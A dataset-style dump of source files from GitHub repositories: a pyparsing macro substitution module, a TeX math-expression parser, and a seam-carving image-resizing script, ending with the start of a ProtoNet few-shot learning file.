len(self.args)\r\n\r\n def __repr__(self):\r\n return ', '.join(map(str, self.tokens))\r\n\r\n def topyp(self):\r\n return NotImplemented\r\n\r\n\r\nclass FunAction(LHSAction):\r\n # class of action for f(a, b, c)\r\n def __init__(self, tokens):\r\n super(FunAction, self).__init__(tokens)\r\n self.name = tokens.name\r\n\r\n def topyp(self, term=IDEN):\r\n # be implemented naccessarily\r\n terms = pp.delimitedList(term)\r\n if self.has_star(): # with varargs\r\n if self.arity()==0:\r\n PYP = pp.Literal(str(self.name)) + LPAREN + terms('args') + RPAREN\r\n else:\r\n PYP = pp.Literal(str(self.name)) + LPAREN + ((term + COMMA)*self.arity()+ terms)('args') + RPAREN\r\n else:\r\n # function(term, term, ..., term)\r\n PYP = pp.Literal(str(self.name)) + LPAREN + termList(term, self.arity())('args') + RPAREN\r\n return PYP\r\n\r\n def tore(self):\r\n if self.has_star():\r\n if self.arity()==0:\r\n return '%s((.*?,)*(.*?))'%self.name\r\n else:\r\n return '%s(%s, (,.*?)*)'%(self.name, ', '.join(['.*?']*self.arity()))\r\n else:\r\n return '%s(%s)'%(self.name, ', '.join(['.*?']*self.arity()))\r\n\r\n def __repr__(self):\r\n if self.has_star():\r\n if self.arity()==0:\r\n return '%s(*%s)'%(self.name, self.star)\r\n else:\r\n return '%s(%s, *%s)'%(self.name, ', '.join(self.args), self.star)\r\n else:\r\n return '%s(%s)'%(self.name, ', '.join(self.args))\r\n\r\nclass PrefixAction(LHSAction):\r\n # class of action for +(a, b, c)\r\n def __init__(self, tokens):\r\n super(PrefixAction, self).__init__(tokens)\r\n self.op = tokens.op\r\n\r\n def topyp(self, term=IDEN):\r\n terms = pp.delimitedList(term)\r\n if self.has_star():\r\n if self.arity()==0:\r\n PYP = pp.Literal(str(self.op)) + LPAREN + terms('args') + RPAREN\r\n else:\r\n PYP = pp.Literal(str(self.op)) + LPAREN + ((term + COMMA)*self.arity()+ terms)('args') + RPAREN\r\n else:\r\n PYP = pp.Literal(str(self.op)) + LPAREN + termList(term, self.arity())('args') + RPAREN\r\n return PYP\r\n\r\n def tore(self):\r\n if self.has_star():\r\n if self.arity()==0:\r\n return '%s((.*?,)*(.*?))'%self.op\r\n else:\r\n return '%s(%s, (,.*?)*)'%(self.op, ', '.join(['.*?']*self.arity()))\r\n else:\r\n return '%s(%s)'%(self.op, ', '.join(['.*?']*self.arity()))\r\n\r\n def __repr__(self):\r\n if self.has_star():\r\n if self.arity()==0:\r\n return '%s(*%s)'%(self.op, self.star)\r\n else:\r\n return '%s(%s, *%s)'%(self.op, ', '.join(self.args), self.star)\r\n else:\r\n return '%s(%s)'%(self.op, ', '.join(self.args))\r\n\r\nclass PostfixAction(LHSAction):\r\n # class of action for postfix notation such as (a, b, c)+\r\n def __init__(self, tokens):\r\n super(PostfixAction, self).__init__(tokens)\r\n self.op = tokens.op\r\n\r\n def topyp(self, term=IDEN):\r\n terms = pp.delimitedList(term)\r\n if self.has_star():\r\n if self.arity()==0:\r\n PYP = LPAREN + terms('args') + RPAREN + pp.Literal(str(self.op))\r\n else:\r\n PYP = LPAREN + ((term + COMMA)*self.arity()+ terms)('args') + RPAREN + pp.Literal(str(self.op))\r\n else:\r\n PYP = LPAREN + termList(term, self.arity())('args') + RPAREN + pp.Literal(str(self.op))\r\n return PYP\r\n\r\n def tore(self):\r\n if self.has_star():\r\n if self.arity()==0:\r\n return '((.*?,)*(.*?))%s'%self.op\r\n else:\r\n return '(%s, (,.*?)*)%s'%(', '.join(['.*?']*self.arity()), self.op)\r\n else:\r\n return '(%s)%s'%(', '.join(['.*?']*self.arity()), self.op)\r\n\r\n def __repr__(self):\r\n if self.has_star():\r\n if self.arity()==0:\r\n return '(*%s)%s'%(self.star, self.op)\r\n else:\r\n return '(%s, *%s)%s'%(', '.join(self.args), self.star, self.op)\r\n else:\r\n return '(%s)%s'%(', '.join(self.args), self.op)\r\n\r\n\r\nclass BifixAction(LHSAction):\r\n # class of action for bifix notation such as |a, b, c|\r\n def __init__(self, tokens):\r\n super(BifixAction, self).__init__(tokens)\r\n self.lop, self.rop = tokens.lop, tokens.rop\r\n self.op = str(self.lop) +' '+ str(self.rop)\r\n\r\n def topyp(self, term=IDEN):\r\n terms = pp.delimitedList(term)\r\n if self.has_star():\r\n if self.arity()==0:\r\n PYP = pp.Literal(str(self.lop)) + LPAREN + terms('args') + RPAREN + pp.Literal(str(self.rop))\r\n else:\r\n PYP = pp.Literal(str(self.lop)) + LPAREN + ((term + COMMA)*self.arity()+ terms)('args') + RPAREN + pp.Literal(str(self.rop))\r\n else:\r\n PYP = pp.Literal(str(self.lop)) + termList(term, self.arity())('args') + pp.Literal(str(self.rop)) \\\r\n | pp.Literal(str(self.lop)) + LPAREN + termList(term, self.arity())('args') + RPAREN + pp.Literal(str(self.rop))\r\n return PYP\r\n\r\n def tore(self):\r\n if self.has_star():\r\n if self.arity()==0:\r\n return '%s((.*?,)*(.*?))%s'%(self.lop, self.rop)\r\n else:\r\n return '%s(%s, (,.*?)*)%s'%(self.lop, ', '.join(['.*?']*self.arity()), self.rop)\r\n else:\r\n return '%s(%s)%s'%(self.lop, ', '.join(['.*?']*self.arity()), self.rop)\r\n\r\n def __repr__(self):\r\n if self.has_star():\r\n if self.arity()==0:\r\n return '%s*%s%s'%(self.lop, self.star, self.rop)\r\n else:\r\n return '%s%s, *%s%s'%(self.lop, ', '.join(self.args), self.star, self.rop)\r\n else:\r\n return '%s%s%s'%(self.lop, ', '.join(self.args), self.rop)\r\n\r\n\r\nclass InfixAction(LHSAction):\r\n\r\n def __init__(self, tokens):\r\n super(InfixAction, self).__init__(tokens)\r\n self.op = tokens.op\r\n self.args = [tokens.arg1, tokens.arg2]\r\n\r\n def topyp(self, term=IDEN):\r\n return term('arg1') + pp.Literal(str(self.op)) + term('arg2')\r\n\r\n def tore(self):\r\n return '(.*?)%s(.*?)'%self.op\r\n\r\n def __repr__(self):\r\n return '%s %s %s'%(self.args[0], self.op, self.args[1])\r\n\r\n\r\nclass Infix3Action(LHSAction):\r\n\r\n def __init__(self, tokens):\r\n super(Infix3Action, self).__init__(tokens)\r\n self.op1, self.op2 = tokens.op1, tokens.op2\r\n self.args = [tokens.arg1, tokens.arg2, tokens.arg3]\r\n\r\n def topyp(self, term=IDEN):\r\n return term('arg1') + pp.Literal(self.op1) + term('arg2') + pp.Literal(self.op2) + term('arg3')\r\n\r\n def tore(self):\r\n return '(.*?)%s(.*?)%s(.*?)'%(self.op1, self.op2)\r\n\r\n def __repr__(self):\r\n return '%s %s %s %s %s'%(self.args[0], self.op1, self.args[1], self.op2, self.args[2])\r\n\r\nclass AssocAction(LHSAction):\r\n\r\n def __init__(self, tokens):\r\n super(AssocAction, self).__init__(tokens)\r\n self.args = tokens.args\r\n self.op = ''\r\n if self.has_op():\r\n self.lop, self.rop = tokens.lop, tokens.rop\r\n self.op = str(self.lop) +' '+ str(self.rop)\r\n\r\n def has_op(self):\r\n return self.has('lop') and self.has('rop')\r\n\r\n def topyp(self, term=IDEN):\r\n if self.has_op():\r\n return pp.Literal(str(self.lop)) + (term * self.arity())('args') + pp.Literal(str(self.rop))\r\n else:\r\n return (term * self.arity())('args') | LPAREN + (term * self.arity())('args') + RPAREN\r\n\r\n def tore(self):\r\n if self.has_op():\r\n return str(self.lop) + '(.*?)'*self.arity() + str(self.rop)\r\n return '(.*?)'*self.arity()\r\n\r\n def __repr__(self):\r\n if self.has_op():\r\n return str(self.lop) + ' '.join(self.args) + str(self.rop)\r\n return ' '.join(self.args)\r\n\r\n\r\n\"\"\"class RedAction(LHSAction):\r\n\r\n def __init__(self, tokens):\r\n super(RedAction, self).__init__(tokens)\r\n self.args = tokens.args\r\n self.op = ''\r\n\r\n def topyp(self, term=IDEN):\r\n return (term + pp.OneOrMore(term))('args') | LPAREN + (term + pp.OneOrMore(term))('args') + RPAREN\r\n\r\n def __repr__(self):\r\n return '(.*?){2,}'\"\"\"\r\n\r\n\r\n#CMD = FUN + pp.Literal('=').suppress() + EXP\r\nFUN = IDEN('name') + LPAREN + ARGS + RPAREN # f(a,b)\r\n# LISP = LPAREN + IDEXT('name') + pp.OneOrMore(IDEN)('args') + RPAREN\r\nPREFIX = SYMBLE('op') + LPAREN + ARGS + RPAREN # +(a,b)\r\nPOSTFIX = LPAREN + ARGS + RPAREN + SYMBLE('op') # (a,b)+\r\nBIFIX = SYMBLE('lop') + ARGS + SYMBLE('rop') # <a,b>\r\nINFIX = IDEN('arg1') + SYMBLE('op') + IDEN('arg2') # a + b\r\nINFIX3 = IDEN('arg1') + SYMBLE('op1') + IDEN('arg2') + SYMBLE('op2') + IDEN('arg3') # a + b - c\r\n# INFIXn = IDEN('arg1') + pp.OneOrMore(SYMBLE + IDEN)('arg2')\r\nLATEX = pp.Suppress('\\\\') + WORD + pp.ZeroOrMore(LBRACE + IDEN + RBRACE)('args')\r\n\r\nASS = (IDEN + pp.OneOrMore(IDEN))('args') | LPAREN + (IDEN + pp.OneOrMore(IDEN))('args') + RPAREN \\\r\n | SYMBLE('lop') + (IDEN + pp.OneOrMore(IDEN))('args') + SYMBLE('rop') # a b or |a b| or (a b)\r\n\r\nLHS = BIFIX.setParseAction(BifixAction) | FUN.setParseAction(FunAction) | PREFIX.setParseAction(PrefixAction) \\\r\n| POSTFIX.setParseAction(PostfixAction) | INFIX3.setParseAction(Infix3Action) | INFIX.setParseAction(BifixAction)| ASS.setParseAction(AssocAction)\r\n\r\nrestOfString = pp.Regex(r\".*\", flags=re.DOTALL).setName(\"rest of string\")\r\nCMD = LHS('lhs') + pp.Suppress('=') + restOfString('rhs')\r\n\r\ndef subaction(rhs, args):\r\n # subsitute the arguments in rhs with real arguments appearing in input string\r\n # for example, define f(x) = x + x, \"f(helloworld)\" => \"helloworld + helloworld\"\r\n def F(tokens):\r\n if 'args' in tokens: # Fun Prefix Postfix Bifix\r\n targs = tokens.args\r\n elif 'arg1' in tokens and 'arg2' in tokens:\r\n if 'arg3' in tokens:\r\n targs = targs = tokens.arg1, tokens.arg2, tokens.arg3 # Infix3\r\n else:\r\n targs = tokens.arg1, tokens.arg2 # Infix\r\n exp = rhs\r\n for arg, targ in zip(args, targs):\r\n argsub = pp.Literal(arg).setParseAction(pp.replaceWith(targ)) # subsitute the arguments\r\n exp = argsub.transformString(exp)\r\n return exp\r\n return F\r\n\r\n# expressions that are supported\r\ndefault_list = [BIFIX.setParseAction(BifixAction), FUN.setParseAction(FunAction), PREFIX.setParseAction(PrefixAction), POSTFIX.setParseAction(PostfixAction), INFIX3.setParseAction(Infix3Action), INFIX.setParseAction(InfixAction), ASS.setParseAction(AssocAction)]\r\n\r\n\r\nclass Macro:\r\n # Macro class\r\n def __init__(self, commands=[], term=IDEN):\r\n # commands: dict of commands\r\n # term: token for the argument of commands. substitute F(x, y) = G(x, y) for terms x, y\r\n self.commands = []\r\n self.term = pp.Combine(term)\r\n self.lhs_list = default_list\r\n for lhs_rhs in commands:\r\n if isinstance(lhs_rhs, str):\r\n p = CMD.parseString(lhs_rhs)\r\n self.commands.append((str(p.lhs), p.rhs))\r\n else:\r\n lhs, rhs = lhs_rhs\r\n self.commands.append(lhs, rhs)\r\n self.make_parser()\r\n\r\n def make_parser(self):\r\n self.parser = pp.MatchFirst(self.lhs_list)\r\n\r\n def append(self, lhs):\r\n self.lhs_list.append(lhs)\r\n self.parser = pp.MatchFirst(self.lhs_list)\r\n\r\n def find(self, s):\r\n # s need be substituted\r\n for lhs, rhs in self.commands:\r\n p = self.parser.parseString(lhs, parseAll=True)[0]\r\n pyp = p.topyp(self.term)\r\n try:\r\n if pyp.searchString(s):\r\n return True\r\n except:\r\n continue\r\n return False\r\n\r\n\r\n def sub(self, s):\r\n if not self.find(s):\r\n return s\r\n for lhs, rhs in self.commands:\r\n p = self.parser.parseString(lhs, parseAll=True)[0]\r\n pyp = p.topyp(self.term) # transform lhs to parser (of pyparsing)\r\n pyp.setParseAction(subaction(rhs, p.args))\r\n s = pyp.transformString(s)\r\n return s\r\n\r\n def __repr__(self):\r\n return repr(self.commands)\r\n\r\n# test\r\nif __name__ == \"__main__\":\r\n R = pp.Forward()\r\n baseExpr = pp.Regex('(\\\\b|(?<=\\d))\\w\\\\b') | DIGIT\r\n L1 = baseExpr | '(' + R +')'\r\n L2 = L1 + pp.ZeroOrMore(pp.Optional('*') + L1)\r\n R <<= L2 + pp.ZeroOrMore('+' + L2)\r\n\r\n mac = Macro(commands=['x y= x * y'], term = baseExpr | R)\r\n\r\n test='''in math, x y + x z is equal to x (y + z), 3x == 3*x'''\r\n\r\n print('1: %s => %s'%(test, mac.sub(test)))\r\n\r\n mac = Macro(commands=['||x||=norm(x)', '|x|=abs(x)', '<x, y>=innerProduct(x, y)'], term = pp.quotedString | IDEN)\r\n\r\n test='''||hello|| + |world| + <\"Hello\", \"World\">'''\r\n\r\n print('2: %s => %s'%(test, mac.sub(test)))\r\n\r\n mac = Macro(commands=['+(a, b, c)=a, b love c', '(a, b, c)+ = a, b miss c'], term = pp.quotedString | IDEN)\r\n\r\n test='''+(Lily, I, You). Moreover, (Lily, I, You)+.'''\r\n\r\n print('3:%s => %s'%(test, mac.sub(test)))" }, { "alpha_fraction": 0.7769784331321716, "alphanum_fraction": 0.7769784331321716, "avg_line_length": 16.25, "blob_id": "a970d1235eeb660f0de8ecbff2c815b997bcad0b", "content_id": "4e1f98384a0c904ffd7b99bd1bcd0960da3590b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 139, "license_type": "no_license", "max_line_length": 44, "num_lines": 8, "path": "/README.md", "repo_name": "Freakwill/texparsing", "src_encoding": "UTF-8", "text": "\n# TeXParsing\n\nParse tex files with pyparsing.\n\n## Scripts\ntexparse: parse math expression in tex files\n\ntexextract: extract data from tex\n" }, { "alpha_fraction": 0.5768498778343201, "alphanum_fraction": 0.5821353197097778, "avg_line_length": 33.022220611572266, "blob_id": "2f3013453aeb3186583d704b01571dd5ccd48381", "content_id": "a64c2c0a5b900a1959ec7b40bdac0de55b6bd743", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9460, "license_type": "no_license", "max_line_length": 155, "num_lines": 270, "path": "/texparse.py", "repo_name": "Freakwill/texparsing", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\r\n'''\r\nExample:\r\n>>> pr = mathEq.parseString('\\\\int_0^\\\\infty f(x) d x\\\\approx\\\\sum_{i=1}w_ie^{x_i}f(x_i)')\r\n>>> print(pr)\r\n[approx(int(f(x), x, 0, infty), sum(*(w_i, ^(e, x_i), f(x_i)), i, 1, infty))]\r\n'''\r\n\r\nfrom pyparsing import *\r\nfrom pyparsing_ext import *\r\n\r\ndigit = Word(nums)\r\nESC = Suppress('\\\\')\r\nSUB = Suppress('_')\r\nSUP = Suppress('^')\r\nDOT = Suppress('.')\r\n\r\ndef totree(x):\r\n print(type(x))\r\n if isinstance(x, str):\r\n return x\r\n else:\r\n return x.totree()\r\n\r\n\r\n\r\nclass ActionIntExp(BaseAction):\r\n names = ('integrated', 'variable', 'lower_bound', 'upper_bound')\r\n op = 'int'\r\n def __init__(self, instring='', loc=0, tokens=[]):\r\n super(ActionIntExp, self).__init__(instring, loc, tokens)\r\n self.integrated = tokens.integrated\r\n self.variable = tokens.variable\r\n self.lower_bound = tokens.lower_bound[0]\r\n self.upper_bound = tokens.upper_bound[0]\r\n\r\n def __repr__(self):\r\n return '%s(%s, %s, %s, %s)'%(self.op, self.integrated, self.variable, self.lower_bound, self.upper_bound)\r\n\r\n def totree(self):\r\n return [self.op, self.integrated.totree(), self.variable, self.lower_bound.totree(), self.upper_bound.totree()]\r\n\r\nclass ActionSumExp(BaseAction):\r\n names = ('item', 'index', 'lower_bound', 'upper_bound')\r\n op = 'sum'\r\n\r\n def __init__(self, instring='', loc=0, tokens=[]):\r\n super(ActionSumExp, self).__init__(instring, loc, tokens)\r\n self.item = tokens.item\r\n self.index = tokens.index\r\n if 'lower_bound' in tokens:\r\n self.lower_bound = tokens.lower_bound[0]\r\n else:\r\n self.lower_bound = '0'\r\n if 'upper_bound' in tokens:\r\n self.upper_bound = tokens.upper_bound[0]\r\n else:\r\n self.upper_bound = 'infty'\r\n\r\n def totree(self):\r\n return [self.op, self.item.totree(), totree(self.index), self.lower_bound.totree(), self.upper_bound.totree()]\r\n\r\n def __repr__(self):\r\n return '%s(%s, %s, %s, %s)'%(self.op, self.item, self.index, self.lower_bound, self.upper_bound)\r\n\r\n\r\nclass ActionLimExp(BaseAction):\r\n op = 'lim'\r\n names = ('item', 'variable', 'value')\r\n\r\n def totree(self):\r\n return [self.op, self.item.totree(), self.variable, self.value.totree()]\r\n\r\n def __repr__(self):\r\n return '%s(%s, %s, %s)'%(self.op, self.item, self.variable, self.value)\r\n\r\n\r\nclass ActionFuncExp(BaseAction):\r\n names = ('function', 'args')\r\n def __init__(self, instring='', loc=0, tokens=[]):\r\n super(ActionFuncExp, self).__init__(instring, loc, tokens)\r\n self.function = tokens.function[0]\r\n\r\n def totree(self):\r\n return [self.function] + [arg.totree() for arg in self.args]\r\n\r\n def __repr__(self):\r\n return '%s(%s)'%(self.function, ', '.join(str(arg) for arg in self.args))\r\n\r\n\r\nclass ActionPrefix(BaseAction):\r\n # prefix operator as -a\r\n def __init__(self, instring='', loc=0, tokens=[]):\r\n super(ActionNegExp, self).__init__(instring, loc, tokens)\r\n self.operand, self.op = tokens[0][0], tokens[0][-1]\r\n\r\n def totree(self):\r\n return [self.op] + self.operand.totree()\r\n\r\n def __repr__(self):\r\n return '%s%s'%(slef.op, self.operand)\r\n\r\n\r\nclass ActionCmdExp(BaseAction):\r\n def __init__(self, instring='', loc=0, tokens=[]):\r\n super(ActionCmdExp, self).__init__(instring, loc, tokens)\r\n if 'command1' in tokens:\r\n self.command = tokens.command1\r\n self.args=[tokens.arg.content]\r\n else:\r\n self.command = tokens.command\r\n self.args=[arg.content for arg in tokens.args]\r\n\r\n def arity(self):\r\n return len(self.args)\r\n\r\n def totree(self):\r\n return [self.command] + [arg.totree() for arg in self.args]\r\n\r\n def __repr__(self):\r\n return '%s(%s)'%(self.command, ', '.join(str(arg) for arg in self.args))\r\n\r\n\r\nclass ActionOperator(BaseAction):\r\n # action class for binary operator\r\n def __init__(self, instring='', loc=0, tokens=[]):\r\n super(ActionOperator, self).__init__(instring, loc, tokens)\r\n if 'op' not in tokens[0]:\r\n self.op = '*'\r\n self.operands = tokens[0][:]\r\n else:\r\n self.op = tokens[0][1]\r\n self.operands = tokens[0][0::2]\r\n\r\n def totree(self):\r\n return [self.op] + [operand.totree() for operand in self.operands]\r\n\r\n # def __eq__(self, other):\r\n # return isinstance(other, ActionOperator) and self.operands == other.operands and self.op == other.op\r\n\r\n def arity(self):\r\n return len(self.operands)\r\n\r\n def __repr__(self):\r\n if hasattr(self, 'op'):\r\n return '%s(%s)'%(self.op, ', '.join(map(str, self.operands)))\r\n else:\r\n return str(self.operands[0])\r\n\r\nclass ActionBlock(BaseAction):\r\n names = ('block_content',)\r\n\r\n def totree(self):\r\n return totree(self.block_content)\r\n\r\n def __repr__(self):\r\n return '{%s}'%self.block_content\r\n\r\nclass ActionTerm(BaseAction):\r\n names = ('term', 'index')\r\n def __init__(self, instring='', loc=0, tokens=[]):\r\n super(ActionTerm, self).__init__(instring, loc, tokens)\r\n self.term = tokens.term\r\n self.index = tokens.index[0]\r\n\r\n def totree(self):\r\n if hasattr(self, 'index'):\r\n return ['index', self.term, totree(self.index)]\r\n elif isinstance(self.term, (ActionIntExp, ActionFuncExp, ActionSumExp)):\r\n return self.term.totree()\r\n else:\r\n return totree(self.term)\r\n\r\n def __repr__(self):\r\n if 'index' in self.tokens:\r\n if isinstance(self.index, AtomAction):\r\n return f'{self.term}_{self.index}'\r\n return f'{self.term}_{{{self.index}}}'\r\n return str(self.term)\r\n\r\n\r\nclass ActionMathExp(BaseAction):\r\n names = ('expr',)\r\n\r\n def totree(self):\r\n return self.expr.totree()\r\n\r\n def __repr__(self):\r\n return str(self.expr)\r\n\r\n\r\nclass ActionMathEq(BaseAction):\r\n names = ('lhs', 'rhs', 'sign')\r\n\r\n def totree(self):\r\n return [self.sign, self.lhs.totree(), self.rhs.totree()]\r\n\r\n def __repr__(self):\r\n return '%s(%s, %s)'%(self.sign, self.lhs, self.rhs)\r\n\r\n\r\nintcmd = ESC + Literal('int')\r\nsumcmd = ESC + Literal('sum')\r\nlimcmd = ESC + Literal('lim')\r\n\r\n# printable = Word(alphanums+'+-=<>*/|(),.;:\\'', exact=1)\r\ngreek = ESC + oneOf('alpha beta gamma delta epsilon lambda mu nu theta sigma phi psi pi eta theta omega')('content')\r\nvariable = oneOf('A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c e f g h i j k l m n o p q r s t u v w x y z')('content') | greek # don't use d\r\nvariable.setParseAction(VariableAction)\r\n\r\nconstant = ESC + Literal('infty')('content') | digit('content')\r\natom = constant | variable\r\natom.setParseAction(AtomAction)\r\n\r\nmathExp = Forward()\r\nmathExp.setParseAction(ActionMathExp)\r\n\r\nmathEq = mathExp('lhs') + (oneOf('= < >')('sign') | ESC + oneOf('leq geq approx sim')('sign')) + mathExp('rhs')\r\nmathEq.setParseAction(ActionMathEq)\r\n\r\nblock = atom | LBRACE + (mathEq | mathExp) + RBRACE\r\n# block.setParseAction(ActionBlock)\r\n\r\n# absExp = Suppres('|') + mathExp('operand') + Suppress('|') | Suppres('\\\\|') + mathExp('operand') + Suppress('\\\\|')\r\n# absExp.setParseAction(ActionAbsExp)\r\n# inprodExp = Suppres('\\\\langle') + mathExp('operand1') + Suppress(',') + mathExp('operand2') + Suppress('\\\\rangle')\r\n\r\nCMD1 = ESC + oneOf('bar sqrt tilde hat check dot ddot')('command1')\r\nCMD2 = ESC + oneOf('frac')('command')\r\ncmdExp = CMD1 + block('arg') | CMD2 + (block + block)('args')\r\ncmdExp.setParseAction(ActionCmdExp)\r\n\r\nsumExp = sumcmd.suppress() + ((SUB + LBRACE + variable('index') + Suppress('=') + block('lower_bound') + RBRACE | \r\n SUB + variable('index')) & Optional(SUP + block('upper_bound'))) + mathExp('item')\r\nsumExp.setParseAction(ActionSumExp)\r\n\r\nintExp = intcmd.suppress() + ((SUB + block('lower_bound')) & (SUP + block('upper_bound'))) \\\r\n + mathExp('integrated') + Suppress('d') + variable('variable')\r\nintExp.setParseAction(ActionIntExp)\r\n\r\nlimExp = limcmd.suppress() + SUB + LBRACE + variable('variable') + Suppress('\\\\to') + atom('value') +RBRACE + mathExp('item')\r\nlimExp.setParseAction(ActionLimExp)\r\n\r\nterm = variable('term') + SUB + block('index') | atom('term') \\\r\n | Suppress('(')+ mathExp('term') + Suppress(')')| cmdExp('term') \\\r\n | intExp('term') | sumExp('term')\r\nterm.setParseAction(ActionTerm)\r\n\r\nfunc = ESC + oneOf('sin cos tan cot sinh cosh tanh'\r\n 'arcsin arccos arctan arccot ln log exp')('function')\r\nfuncExp = (variable('function') | func) + Suppress('(') + delimitedList(mathExp)('args') +Suppress(')') \\\r\n| func + Group(variable)('args')\r\nfuncExp.setParseAction(ActionFuncExp)\r\n\r\natomExp = funcExp | term | sumExp| intExp | limExp | block\r\nmathExp <<= operatorPrecedence(atomExp, [(Literal('^')('op'), 2, opAssoc.RIGHT, ActionOperator),\r\n (Literal('-')('op'), 1, opAssoc.RIGHT, ActionPrefix),\r\n (Optional('*')('op'), 2, opAssoc.LEFT, ActionOperator),\r\n (Literal('+')('op'), 2, opAssoc.LEFT, ActionOperator)])('expr')\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # test1\r\n try:\r\n pr = mathEq.parseString('\\\\int_0^\\\\infty f(x) d x\\\\approx\\\\sum_{i=1}w_ie^{x_i}f(x_i)')\r\n print(pr)\r\n # [approx(int(f(x), x, 0, infty), sum(*(w_i, ^(e, x_i), f(x_i)), i, 1, infty))]\r\n except pp.ParseException as pe:\r\n print(pp.ParseException.explain(pe))\r\n\r\n\r\n" } ]
4
loc-trinh/imageResizing
https://github.com/loc-trinh/imageResizing
d9be867c094daf57b0771a698b2ab75220a4bd30
bbc36cf6eefbe225b8a978ab213bddc6c62ceadf
281e1323458c4d6f3febdf0425f07f0552ad0195
refs/heads/master
2021-01-10T08:11:16.326497
2015-12-24T02:23:10
2015-12-24T02:23:10
48,519,999
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8073770403862, "alphanum_fraction": 0.8073770403862, "avg_line_length": 33.85714340209961, "blob_id": "7d2ea4f01c39884f700889ef4d39f2b5a78380fc", "content_id": "3e91ed350bcfd60e97fe7394b69349363fcd50bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 244, "license_type": "no_license", "max_line_length": 155, "num_lines": 7, "path": "/README.md", "repo_name": "loc-trinh/imageResizing", "src_encoding": "UTF-8", "text": "# imageResizing\n\nFirst attempt at implementing size carving/dynamic programming algorithm according to \"Seam Carving for Content-Aware Image Resizing\" by Shai Avidan and Ariel Shamir.\n\nEnergy function used: Gradient Magnitude\n\nLibrary used: Numpy, OpenCV\n" }, { "alpha_fraction": 0.47245410084724426, "alphanum_fraction": 0.49916526675224304, "avg_line_length": 27.254716873168945, "blob_id": "b3c3f6561755beef843832d5642d4681c70196cd", "content_id": "c1d0cf9a4b0bfa33cb4b8b939e0e9cf5b82fee1f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2995, "license_type": "no_license", "max_line_length": 120, "num_lines": 106, "path": "/main.py", "repo_name": "loc-trinh/imageResizing", "src_encoding": "UTF-8", "text": "import cv2\nimport numpy as np\n\n\ndef energy_function(image):\n \"\"\"\n Compute the magnitude gradient of the image.\n\n :param image: Numpy array gray image\n :return: Numpy array image\n \"\"\"\n\n dx = cv2.Sobel(image, cv2.CV_64F, 1, 0, ksize=3)\n dy = cv2.Sobel(image, cv2.CV_64F, 0, 1, ksize=3)\n mag = cv2.magnitude(dx, dy)\n return (mag / mag.max() * 255).astype(np.uint8)\n\n\ndef find_seam(image):\n \"\"\"\n Compute the lowest energy seam using dynamic programming.\n\n :param image: Numpy array gray image\n :return: List of pixel tuples\n \"\"\"\n\n height, width = image.shape\n dp = np.zeros(image.shape)\n dp[0] = image[0]\n for r in xrange(1, height):\n for c in xrange(width):\n if c == 0:\n dp[r, c] = min(dp[r - 1, c], dp[r - 1, c + 1])\n elif c == width - 1:\n dp[r, c] = min(dp[r - 1, c], dp[r - 1, c - 1])\n else:\n dp[r, c] = min(dp[r - 1, c + 1], dp[r - 1, c], dp[r - 1, c - 1])\n dp[r, c] += image[r, c]\n\n min_val = float(\"INF\")\n min_pointer = None\n for c in range(width):\n if dp[height - 1][c] < min_val:\n min_val = dp[height - 1][c]\n min_pointer = c\n\n path = []\n pos = (height - 1, min_pointer)\n path.append(pos)\n while pos[0] != 0:\n value = dp[pos] - image[pos]\n r, c = pos\n if c == 0:\n if value == dp[r - 1, c + 1]:\n pos = (r - 1, c + 1)\n else:\n pos = (r - 1, c)\n elif c == width - 1:\n if value == dp[r - 1, c - 1]:\n pos = (r - 1, c - 1)\n else:\n pos = (r - 1, c)\n else:\n if value == dp[r - 1, c + 1]:\n pos = (r - 1, c + 1)\n elif value == dp[r - 1, c]:\n pos = (r - 1, c)\n else:\n pos = (r - 1, c - 1)\n path.append(pos)\n return path\n\n\ndef remove_seam(image, image_orientation='v'):\n \"\"\"\n Converts RGB image to gray image and remove seam from original image. Rotates according to orientation if necessary.\n\n :param image: Numpy array RGB image\n :param image_orientation: string \n :return: Numpy array image\n \"\"\"\n\n if image_orientation == 'h':\n image = np.rot90(image, k=1)\n\n gray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n height, width, channels = image.shape\n size = (height, width - 1, channels)\n\n seam = [r * (width * channels) + c * channels + rgb\n for r, c in find_seam(energy_function(gray_image)) for rgb in range(channels)]\n image = np.reshape(np.delete(image.ravel(), seam), size)\n\n if image_orientation == 'h':\n return np.rot90(image, k=3)\n return image\n\n\nif __name__ == \"__main__\":\n img = cv2.imread(\"tower.jpg\", 1)\n for i in range(200):\n print i\n orientation = 'v' if i % 5 else 'h'\n img = remove_seam(img, orientation)\n cv2.imshow(\"image\", img)\n cv2.waitKey(0)\n" } ]
2
ashok-arjun/fsl_ssl
https://github.com/ashok-arjun/fsl_ssl
6959196e6d52109f0f5ba994b2bde9806d8d040c
224e154d3ea7dde9c482f68a730663b2ed373b3b
78cb32af6393aace8af4e9ce769edc708f1337f9
refs/heads/master
2023-06-05T02:01:40.024682
2021-06-04T10:19:27
2021-06-04T10:19:27
371,273,548
1
1
null
2021-05-27T06:44:59
2021-06-04T16:23:53
2021-06-09T09:51:31
Python
[ { "alpha_fraction": 0.5121794939041138, "alphanum_fraction": 0.5357692241668701, "avg_line_length": 46.272727966308594, "blob_id": "0527b84b20047a1adffe3d6153f4d6e3c4338131", "content_id": "a99cf78d3dd30ee5c0cf7dfe01239505e8397a33", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15600, "license_type": "no_license", "max_line_length": 163, "num_lines": 330, "path": "/methods/.ipynb_checkpoints/protonet-checkpoint.py", "repo_name": "ashok-arjun/fsl_ssl", "src_encoding": "UTF-8", "text": "# This code is modified from https://github.com/jakesnell/prototypical-networks\n\nimport backbone\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport numpy as np\nimport torch.nn.functional as F\nfrom methods.meta_template import MetaTemplate\nfrom model_resnet import *\nfrom itertools import cycle\n\nimport wandb\n\nclass ProtoNet(MetaTemplate):\n def __init__(self, model_func, n_way, n_support, jigsaw=False, lbda=0.0, rotation=False, tracking=False, use_bn=True, 